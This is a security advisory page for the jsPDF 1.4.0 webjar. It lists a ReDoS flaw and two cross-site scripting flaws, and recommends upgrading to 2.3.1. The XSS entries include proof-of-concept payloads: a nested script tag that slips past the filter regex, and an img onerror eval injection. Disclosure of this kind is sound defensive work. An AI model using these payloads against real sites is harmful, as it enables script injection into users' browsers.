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org.webjars.bowergithub.mrrio:jspdf@1.4.0 vulnerabilities

  • latest version

    2.3.1

  • latest non vulnerable version

    2.3.1

  • first published

    6 years ago

  • latest version published

    3 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.bowergithub.mrrio:jspdf package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ReDoS is possible via the addImage function.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.bowergithub.mrrio:jspdf to version 2.3.1 or higher.

    [0,2.3.1)
    • M
    Cross-site Scripting (XSS)

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to use <<script>script> in order to go over the filtering regex.

    PoC

    import jsPDF from "jspdf";

var doc = new jsPDF();

let html = `
<p id='test'>a</p>
<<script>script>document.write(window.location);</</script>script>
`;
doc.fromHTML(
  html,
  0,
  0,
  {
    width: 100 // max width of content on PDF
  },
  function(_) {
    doc.save();
  }
);

    How to fix Cross-site Scripting (XSS)?

    Upgrade org.webjars.bowergithub.mrrio:jspdf to version 2.3.1 or higher.

    [0,2.3.1)
    • M
    Cross-site Scripting (XSS)

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the html method.

    PoC

    var doc = new jsPDF();
window.html2canvas = html2canvas;
let html = `
<p id='test'>a</p>
<img src=x onerror=eval("document.getElementById('test').innerHTML=window.location") />
`;
doc.html(html, {
  callback: function (doc) {
    doc.save();
  }
});

    How to fix Cross-site Scripting (XSS)?

    Upgrade org.webjars.bowergithub.mrrio:jspdf to version 2.3.1 or higher.

    [0,2.3.1)
    Go back to all versions of this package